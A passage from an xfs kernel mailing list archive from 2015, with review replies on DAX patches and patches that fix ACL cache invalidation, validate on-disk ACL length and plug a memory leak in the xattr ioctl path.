purpose of this patch is a special atomic zeroed allocation requirement just for mmap. Unless there is some special mixed dio/mmap case I'm missing, doing so for DAX/DIO basically causes a clear_pmem() over every page sized chunk of the target I/O range for which we already have the data. Perhaps that is fine (for now) from a performance perspective, but seems unnecessary. Further, we still have write completion in place which means we can still handle unwritten conversion just as easily for DAX/DIO as normal DIO. Thoughts? Brian > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 30 07:37:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AF9A47F52 for ; Fri, 30 Oct 2015 07:37:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E423AC002 for ; Fri, 30 Oct 2015 05:37:07 -0700 (PDT) X-ASG-Debug-ID: 1446208626-04bdf0330b13f3e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id W2BGXFK2yinHvVPZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 05:37:06 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 227D419CBE0; Fri, 30 Oct 2015 12:37:06 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UCb5p0025196; Fri, 30 Oct 2015 08:37:06 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 004611201AB; Fri, 30 Oct 2015 08:37:04 -0400 (EDT) Date: Fri, 30 Oct 2015 08:37:04 -0400 From: Brian Foster To: Dave Chinner Cc: ross.zwisler@linux.intel.com, jack@suse.cz, xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks Message-ID: <20151030123704.GD54905@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-5-git-send-email-david@fromorbit.com> <20151029142957.GF11663@bfoster.bfoster> <20151029233911.GT19199@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151029233911.GT19199@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446208626 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 30, 2015 at 10:39:11AM +1100, Dave Chinner wrote: > On Thu, Oct 29, 2015 at 10:29:57AM -0400, Brian Foster wrote: > > On Mon, Oct 19, 2015 at 02:27:16PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > For DAX, we are now doing block zeroing and > > > we are updating the file size during allocation. This means we no > > > longer need an IO completion callback to do these things, so remove > > > the completion callbacks from the __dax_fault and __dax_mkwrite > > > calls. > > > > > > > Where do we "update the file size during allocation?" > > Stale comment. For page faults, we'll never update the file size > (segv if fault is beyond EOF), and DIO still does IO completion > based file size updates. > Ok. With that fixed up: Reviewed-by: Brian Foster > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 30 09:46:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A50E97F3F for ; Fri, 30 Oct 2015 09:46:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 392E3AC001 for ; Fri, 30 Oct 2015 07:46:42 -0700 (PDT) X-ASG-Debug-ID: 1446216397-04bdf0330b143bc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RIRSAhJYk6kHZdFj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 07:46:38 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C9C5B344EB4 for ; Fri, 30 Oct 2015 14:46:37 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UEkbbR020956 for ; Fri, 30 Oct 2015 10:46:37 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 73ED41201AB; Fri, 30 Oct 2015 10:46:36 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH] xfs: invalidate cached acl if set directly via xattr Date: Fri, 30 Oct 2015 10:46:36 -0400 X-ASG-Orig-Subj: [PATCH] xfs: invalidate cached acl if set directly via xattr Message-Id: <1446216396-10608-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446216398 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 ACLs are stored as extended attributes of the inode to which they apply. XFS converts the standard "system.posix_acl_[access|default]" attribute names used to control ACLs to "trusted.SGI_ACL_[FILE|DEFAULT]" as stored on-disk. These xattrs are directly exposed in on-disk format via getxattr/setxattr, without any ACL aware code in the path to perform validation, etc. This is partly historical and supports backup/restore applications such as xfsdump to back up and restore the binary blob that represents ACLs as-is. Andreas reports that the ACLs observed via the getfacl interface is not consistent when ACLs are set directly via the setxattr path. This occurs because the ACLs are cached in-core against the inode and the xattr path has no knowledge that the operation relates to ACLs. Update the xattr set codepath to trap writes of the special XFS ACL attributes and invalidate the associated cached ACL when this occurs. This ensures that the correct ACLs are used on a subsequent operation through the actual ACL interface. Note that this does not update or add support for setting the ACL xattrs directly beyond the restore use case that requires a correctly formatted binary blob and to restore a consistent i_mode at the same time. It is still possible for a root user to set an invalid or inconsistent (with i_mode) ACL blob on-disk and potentially cause corruption. Reported-by: Andreas Gruenbacher Signed-off-by: Brian Foster --- It appears that we don't have much agreement on the best way (and to what degree) to deal with the historical SGI_ACL_* xattrs. What we do know is that the cached ACLs are inconsistent when these xattrs are set directly and this is problematic for the primary backup/restore use case. This patch purely addresses the caching problem. Brian fs/xfs/xfs_xattr.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index c0368151..2e1eb80 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -57,7 +57,8 @@ static int xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, size_t size, int flags, int xflags) { - struct xfs_inode *ip = XFS_I(d_inode(dentry)); + struct xfs_inode *ip = XFS_I(d_inode(dentry)); + int error; if (strcmp(name, "") == 0) return -EINVAL; @@ -70,8 +71,22 @@ xfs_xattr_set(struct dentry *dentry, const char *name, const void *value, if (!value) return xfs_attr_remove(ip, (unsigned char *)name, xflags); - return xfs_attr_set(ip, (unsigned char *)name, + error = xfs_attr_set(ip, (unsigned char *)name, (void *)value, size, xflags); + /* + * Invalidate any cached ACLs if the user has bypassed the ACL + * interface. We don't validate the content whatsoever so it is caller + * responsibility to provide data in valid format and ensure i_mode is + * consistent. + */ + if (!error && (xflags & ATTR_ROOT)) { + if (!strncmp(name, SGI_ACL_FILE, strlen(name))) + forget_cached_acl(VFS_I(ip), ACL_TYPE_ACCESS); + else if (!strncmp(name, SGI_ACL_DEFAULT, strlen(name))) + forget_cached_acl(VFS_I(ip), ACL_TYPE_DEFAULT); + } + + return error; } static const struct xattr_handler xfs_xattr_user_handler = { -- 2.1.0 From agruenba@redhat.com Fri Oct 30 10:05:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 35DF87F3F for ; Fri, 30 Oct 2015 10:05:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1727C304070 for ; Fri, 30 Oct 2015 08:05:14 -0700 (PDT) X-ASG-Debug-ID: 1446217512-04bdf03309144e30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kux8r5db6VO6Ro2c (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:13 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id AF8BF344EB4; Fri, 30 Oct 2015 15:05:12 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599r001489; Fri, 30 Oct 2015 11:05:10 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 0/5] xfs: SGI ACL Fixes Date: Fri, 30 Oct 2015 16:05:03 +0100 X-ASG-Orig-Subj: [PATCH v2 0/5] xfs: SGI ACL Fixes Message-Id: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217513 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Here is a reworked patch queue that also handles setting SGI_ACL_{FILE,DEFAULT} via XFS_IOC_ATTRMULTI_BY_HANDLE. Please review. Thanks, Andreas Andreas Gruenbacher (5): xfs: Validate the length of on-disk ACLs xfs: Plug memory leak in xfs_attrmulti_attr_set xfs: SGI ACLs: Fix caching and mode setting xfs: Add namespace parameter to the xfs kuid/kgid <=> uid/gid wrappers xfs: SGI ACLs: Map uid/gid namespaces fs/xfs/libxfs/xfs_format.h | 8 ++- fs/xfs/xfs_acl.c | 139 +++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_acl.h | 13 +++++ fs/xfs/xfs_inode.c | 14 ++--- fs/xfs/xfs_ioctl.c | 61 +++++++++++++++++++- fs/xfs/xfs_iops.c | 12 ++-- fs/xfs/xfs_linux.h | 21 ++++--- fs/xfs/xfs_symlink.c | 4 +- fs/xfs/xfs_xattr.c | 20 ++++++- 9 files changed, 244 insertions(+), 48 deletions(-) -- 2.5.0 From agruenba@redhat.com Fri Oct 30 10:05:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E159B7F52 for ; Fri, 30 Oct 2015 10:05:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C3C7B8F8035 for ; Fri, 30 Oct 2015 08:05:16 -0700 (PDT) X-ASG-Debug-ID: 1446217515-04cb6c7b87134f10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2eczdMDLlGuExLCk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:16 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 5F51355; Fri, 30 Oct 2015 15:05:15 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599s001489; Fri, 30 Oct 2015 11:05:13 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 1/5] xfs: Validate the length of on-disk ACLs Date: Fri, 30 Oct 2015 16:05:04 +0100 X-ASG-Orig-Subj: [PATCH v2 1/5] xfs: Validate the length of on-disk ACLs Message-Id: <1446217508-22157-2-git-send-email-agruenba@redhat.com> In-Reply-To: <1446217508-22157-1-git-send-email-agruenba@redhat.com> References: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217515 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In xfs_acl_from_disk, instead of trusting that xfs_acl.acl_cnt is correct, make sure that the length of the attributes is correct as well. Also, turn the aclp parameter into a const pointer. Signed-off-by: Andreas Gruenbacher --- fs/xfs/libxfs/xfs_format.h | 8 ++++++-- fs/xfs/xfs_acl.c | 13 ++++++++----- 2 files changed, 14 insertions(+), 7 deletions(-) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..0e62682 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1487,9 +1487,13 @@ struct xfs_acl { sizeof(struct xfs_acl_entry) \ : 25) -#define XFS_ACL_MAX_SIZE(mp) \ +#define XFS_ACL_SIZE(cnt) \ (sizeof(struct xfs_acl) + \ - sizeof(struct xfs_acl_entry) * XFS_ACL_MAX_ENTRIES((mp))) + sizeof(struct xfs_acl_entry) * cnt) + +#define XFS_ACL_MAX_SIZE(mp) \ + XFS_ACL_SIZE(XFS_ACL_MAX_ENTRIES((mp))) + /* On-disk XFS extended attribute names */ #define SGI_ACL_FILE "SGI_ACL_FILE" diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..763e365 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -37,16 +37,19 @@ STATIC struct posix_acl * xfs_acl_from_disk( - struct xfs_acl *aclp, - int max_entries) + const struct xfs_acl *aclp, + int len, + int max_entries) { struct posix_acl_entry *acl_e; struct posix_acl *acl; - struct xfs_acl_entry *ace; + const struct xfs_acl_entry *ace; unsigned int count, i; + if (len < sizeof(*aclp)) + return ERR_PTR(-EFSCORRUPTED); count = be32_to_cpu(aclp->acl_cnt); - if (count > max_entries) + if (count > max_entries || XFS_ACL_SIZE(count) != len) return ERR_PTR(-EFSCORRUPTED); acl = posix_acl_alloc(count, GFP_KERNEL); @@ -163,7 +166,7 @@ xfs_get_acl(struct inode *inode, int type) goto out; } - acl = xfs_acl_from_disk(xfs_acl, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + acl = xfs_acl_from_disk(xfs_acl, len, XFS_ACL_MAX_ENTRIES(ip->i_mount)); if (IS_ERR(acl)) goto out; -- 2.5.0 From agruenba@redhat.com Fri Oct 30 10:05:20 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 535887F52 for ; Fri, 30 Oct 2015 10:05:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36687304066 for ; Fri, 30 Oct 2015 08:05:20 -0700 (PDT) X-ASG-Debug-ID: 1446217518-04bdf0330a144e50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fNSeKKsl6yOnEDCt (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:18 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 7ACD3373951; Fri, 30 Oct 2015 15:05:18 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599t001489; Fri, 30 Oct 2015 11:05:15 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 2/5] xfs: Plug memory leak in xfs_attrmulti_attr_set Date: Fri, 30 Oct 2015 16:05:05 +0100 X-ASG-Orig-Subj: [PATCH v2 2/5] xfs: Plug memory leak in xfs_attrmulti_attr_set Message-Id: <1446217508-22157-3-git-send-email-agruenba@redhat.com> In-Reply-To: <1446217508-22157-1-git-send-email-agruenba@redhat.com> References: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217518 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When setting attributes via XFS_IOC_ATTRMULTI_BY_HANDLE, the user-space buffer is copied into a new kernel-space buffer via memdup_user; that buffer then isn't freed. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_ioctl.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ea7d85a..e939c20 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -482,6 +482,7 @@ xfs_attrmulti_attr_set( __uint32_t flags) { unsigned char *kbuf; + int error; if (IS_IMMUTABLE(inode) || IS_APPEND(inode)) return -EPERM; @@ -492,7 +493,9 @@ xfs_attrmulti_attr_set( if (IS_ERR(kbuf)) return PTR_ERR(kbuf); - return xfs_attr_set(XFS_I(inode), name, kbuf, len, flags); + error = xfs_attr_set(XFS_I(inode), name, kbuf, len, flags); + kfree(kbuf); + return error; } int -- 2.5.0 From agruenba@redhat.com Fri Oct 30 10:05:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E1C337F3F for ; Fri, 30 Oct 2015 10:05:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A746B8F804B for ; Fri, 30 Oct 2015 08:05:22 -0700 (PDT) X-ASG-Debug-ID: 1446217520-04bdf0330c144e60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KqQDL8LSvPKfQnD2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 08:05:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id CF29064; Fri, 30 Oct 2015 15:05:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-6-63.ams2.redhat.com [10.36.6.63]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9UF599u001489; Fri, 30 Oct 2015 11:05:18 -0400 From: Andreas Gruenbacher To: Dave Chinner , Brian Foster , xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH v2 3/5] xfs: SGI ACLs: Fix caching and mode setting Date: Fri, 30 Oct 2015 16:05:06 +0100 X-ASG-Orig-Subj: [PATCH v2 3/5] xfs: SGI ACLs: Fix caching and mode setting Message-Id: <1446217508-22157-4-git-send-email-agruenba@redhat.com> In-Reply-To: <1446217508-22157-1-git-send-email-agruenba@redhat.com> References: <1446217508-22157-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446217521 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 POSIX ACLs on XFS are exposed as system.posix_acl_* as well as trusted.SGI_ACL_* and via the XFS_IOC_ATTRMULTI_BY_HANDLE ioctl. Setting the system attributes updates inode->i_mode, inode->i_acl, and inode->i_default_acl as it should, but setting the trusted attributes or using the ioctl does not. Fix that by adding xattr handlers for the two trusted.SGI_ACL_* attributes, and by rerouting the ioctl for these attributes through the xattr code. In xfs_xattr_handlers, the new handlers must be installed before the trusted.* xattr to take effect. Other than before, the values for those attributes are now verified on all paths through which they can be set; invalid values are rejected. Access to the trusted.SGI_ACL_* attributes and to the ioctl is still limited to users capable of CAP_SYS_ADMIN, while the system.posix_acl_* attributes can be read by anyone and set by the file owner. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 105 ++++++++++++++++++++++++++++++++++++++++++++++++++--- fs/xfs/xfs_acl.h | 13 +++++++ fs/xfs/xfs_ioctl.c | 56 +++++++++++++++++++++++++++- fs/xfs/xfs_xattr.c | 20 +++++++++- 4 files changed, 186 insertions(+), 8 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 763e365..c094165 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -178,7 +178,7 @@ out: } STATIC int -__xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) +___xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl, int xflags) { struct xfs_inode *ip = XFS_I(inode); unsigned char *ea_name; @@ -212,14 +212,14 @@ __xfs_set_acl(struct inode *inode, int type, struct posix_acl *acl) (XFS_ACL_MAX_ENTRIES(ip->i_mount) - acl->a_count); error = xfs_attr_set(ip, ea_name, (unsigned char *)xfs_acl, - len, ATTR_ROOT); + len, xflags); kmem_free(xfs_acl); } else { /* * A NULL ACL argument means we want to remove the ACL. */ - error = xfs_attr_remove(ip, ea_name, ATTR_ROOT); + error = xfs_attr_remove(ip, ea_name, xflags); /* * If the attribute didn't exist to start with that's fine. @@ -274,8 +274,9 @@ posix_acl_default_exists(struct inode *inode) return xfs_acl_exists(inode, SGI_ACL_DEFAULT); } -int -xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +STATIC int +__xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type, + int xflags) { int error = 0; @@ -303,5 +304,97 @@ xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) } set_acl: - return __xfs_set_acl(inode, type, acl); + return ___xfs_set_acl(inode, type, acl, xflags); +} + +int +xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + return __xfs_set_acl(inode, acl, type, ATTR_ROOT); +} + +int +__xfs_xattr_acl_get(struct inode *inode, int type, void *value, size_t size) +{ + struct posix_acl *acl; + int error; + + if (!IS_POSIXACL(inode)) + return -EOPNOTSUPP; + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + + acl = get_acl(inode, type); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + + error = XFS_ACL_SIZE(acl->a_count); + if (value) { + if (error > size) + error = -ERANGE; + else + xfs_acl_to_disk(value, acl); + } + + posix_acl_release(acl); + return error; +} + +int +xfs_xattr_acl_get(struct dentry *dentry, const char *name, + void *value, size_t size, int type) +{ + struct inode *inode = d_inode(dentry); + + if (strcmp(name, "") != 0) + return -EINVAL; + return __xfs_xattr_acl_get(inode, type, value, size); +} + +int +__xfs_xattr_acl_set(struct inode *inode, int type, const void *value, + size_t size, int xflags) +{ + struct xfs_inode *ip = XFS_I(inode); + struct posix_acl *acl = NULL; + int error; + + if (!IS_POSIXACL(inode)) + return -EOPNOTSUPP; + + if (value) { + acl = xfs_acl_from_disk(value, size, XFS_ACL_MAX_ENTRIES(ip->i_mount)); + if (IS_ERR(acl)) + return PTR_ERR(acl); + + if (acl) { + error = posix_acl_valid(acl); + if (error) + goto out; + } + } + + error = __xfs_set_acl(inode, acl, type, xflags); +out: + posix_acl_release(acl); + return error; +} + +int +xfs_xattr_acl_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int type) +{ + struct inode *inode = d_inode(dentry); + int xflags = ATTR_ROOT; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (flags & XATTR_CREATE) + xflags |= ATTR_CREATE; + if (flags & XATTR_REPLACE) + xflags |= ATTR_REPLACE; + + return __xfs_xattr_acl_set(inode, type, value, size, xflags); } diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..22986b6 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -19,6 +19,7 @@ #define __XFS_ACL_H__ struct inode; +struct dentry; struct posix_acl; struct xfs_inode; @@ -27,6 +28,18 @@ extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); extern int xfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); extern int posix_acl_access_exists(struct inode *inode); extern int posix_acl_default_exists(struct inode *inode); + +extern int __xfs_xattr_acl_get(struct inode *inode, int type, void *value, + size_t size); +extern int __xfs_xattr_acl_set(struct inode *inode, int type, const void *value, + size_t size, int xflags); + +extern int xfs_xattr_acl_get(struct dentry *dentry, const char *name, + void *value, size_t size, int type); +extern int xfs_xattr_acl_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, + int type); + #else static inline struct posix_acl *xfs_get_acl(struct inode *inode, int type) { diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index e939c20..c819dfd 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -40,6 +40,7 @@ #include "xfs_symlink.h" #include "xfs_trans.h" #include "xfs_pnfs.h" +#include "xfs_acl.h" #include #include @@ -48,6 +49,7 @@ #include 